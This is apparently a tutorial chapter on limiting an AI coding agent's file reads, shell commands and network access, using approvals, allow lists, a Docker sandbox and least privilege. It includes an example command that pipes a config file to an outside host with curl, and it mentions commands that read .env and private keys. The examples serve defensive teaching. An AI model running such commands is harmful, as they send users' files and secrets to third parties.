Sub topic 9
Controlling what an agent can read, run, and reach
This chapter assumes you know basic Git and the command line, have used an AI coding assistant, and understand environment variables. An agent is an assistant that does more than answer. It can read files, run shell commands, and call network services on your behalf. Each of those abilities is a way for data to leave your machine, so you control all three.
The three capabilities
Every agent action falls into one of three groups. Each group has its own risk and its own control.
| Capability | Example | Main risk | Typical control |
|---|---|---|---|
| Read | Open `.env`, list `~/.ssh` | Secrets enter the prompt and reach the provider | Ignore files, directory scoping |
| Run | `curl`, `git push`, `rm` | Side effects and exfiltration through commands | Approval prompts, allow lists |
| Reach | HTTP calls, tool servers | Data sent to a third party | Network limits, vetted servers |
Most tools expose these as settings. Names and syntax differ by product, so check your tool's documentation for the exact options.
Approvals
An approval is a prompt that asks you before the agent takes an action. Tools usually offer three modes: ask every time, allow a listed set of actions, and allow everything. Start with ask-every-time. Move an action to the allow list only when it is read-only and cannot reach the network, such as git status or ls.
Read each approval prompt in full. A command like cat config.yml | curl -d @- https://example.com starts with a harmless cat but sends the file away. Allow-list rules that match only the first word of a command can be bypassed this way, so prefer narrow, exact patterns.
Sandboxing
A sandbox is an isolated environment where the agent works, so a mistake or attack stays contained. You can build a simple one with a container that mounts only the project directory and has no credentials:
docker run --rm -it \
--network none \
-v "$PWD":/workspace:ro \
-w /workspace \
python:3.12-slim bashThe --network none flag removes all network access. The :ro suffix mounts the project read-only. Remove :ro only when the agent must edit files, and keep --network none unless it needs to download packages.
Least privilege for each session
Give the agent the smallest set of access that finishes the task:
- Open it in the project directory, not your home directory.
- Run it as a normal user, never as root.
- Use a throwaway credential with limited scope, not your personal one.
- Keep
~/.aws,~/.ssh, and browser profiles outside the sandbox.
Common errors
- Approving a long command without reading the end of it.
- Starting the agent from
~, which exposes every dotfile beneath it. - Relying on an ignore file alone. Ignore rules stop file reads in some tools, but a shell command like
cat .envmay bypass them. - Leaving the allow list in place after the task ends.
Exercise
An agent's allow list contains the pattern cat *. Why is this risky even though cat only reads files, and what would you do instead?
Show answer
cat * lets the agent print any file, including .env or private keys, straight into the conversation, which sends the contents to the provider. Replace it with narrow patterns for specific safe paths, or run the agent in a sandbox that does not contain the secret files at all.